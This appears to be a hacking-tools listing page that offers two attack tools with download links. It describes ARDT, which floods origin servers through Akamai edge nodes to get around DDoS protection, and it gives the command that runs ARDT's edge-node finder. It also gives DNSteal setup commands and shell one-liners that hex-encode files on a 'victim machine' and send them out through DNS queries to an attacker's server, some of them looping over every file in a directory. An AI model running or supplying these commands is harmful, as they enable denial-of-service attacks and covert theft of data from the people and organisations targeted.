ARDT – Akamai Reflective DDoS Tool

download
Akamai Reflective DDoS Tool

Attack the origin host behind the Akamai Edge hosts and bypass the DDoS protection offered by Akamai services.

ARDT - Akamai Reflective DDoS Tool
ARDT – Akamai Reflective DDoS Tool

How it works…

Based off the research done at NCC: (https://dl.packetstormsecurity.net/papers/attack/the_pentesters_guide_to_akamai.pdf)

Akamai boast around 100,000 edge nodes around the world which offer load balancing, web application firewall, caching etc, to ensure that a minimal amount of requests actually hit your origin web-server beign protected. However, the issue with caching is that you cannot cache something that is non-deterministic, I.E a search result. A search that has not been requested before is likely not in the cache, and will result in a Cache-Miss, and the Akamai edge node requesting the resource from the origin server itself.

What this tool does is, provided a list of Akamai edge nodes and a valid cache missing request, produces multiple requests that hit the origin server via the Akamai edge nodes. As you can imagine, if you had 50 IP addresses under your control, sending requests at around 20 per second, with 100,000 Akamai edge node list, and a request which resulting in 10KB hitting the origin, if my calculations are correct, thats around 976MB/ps hitting the origin server, which is a hell of a lot of traffic.

Finding Akamai Edge Nodes

To find Akamai Edge Nodes, the following script has been included:

# python ARDT_Akamai_EdgeNode_Finder.py

This can be edited quite easily to find more, it then saves the IPS automatically.

data exfiltration – DNSteal

download

Dnsteal is a Data Exfiltration Tool Through DNS Requests for stealthily sending files over DNS requests. Once setup and run successfully it acts as a fake DNS server that allows you to stealthily extract files from a victim machine through DNS requests.

Install & start server
git clone https://github.com/dutchcoin/dnsteal.git /opt/dnsteal
Git clone printscreen

cd /opt/dnsteal && python dnsteal.py
DNSteal running

Transfer file from the victim
On the victim machine, you simply can do something like so:
for b in $(xxd -p file/to/send.png); do dig @server $b.filename.com; done
[000001]

On the server side you will see the file transfer start:
[000003]
When the transfer is finished you must stop the server with CTRL-C to save the file and view the md5sum
You can verify the md5sum on the victims machine by running
md5sum filename

Features:

Support for multiple files
Dnstool supports multiple files to be exfiltereted. Use as below.
for filename in $(ls); do for b in $(xxd -p $f); do dig +short@server %b.$filename.com; done; done
gzip compression supported

It also supports compression of the file to allow for faster transfer speeds, this can be achieved using the “-z” switch:
python dnsteal.py 127.0.0.1 –z

Then on the victim machine send a Gzipped file like below:
for b in $(gzip -c file/to/send.png | xxd -p); do dig @server $b.filename.com; done

For multiple, gzip compressed files use as below:
for filename in $(ls); do for b in $(gzip -c $filename | xxd -p); do dig +short @server %b.$filename.com; done; done
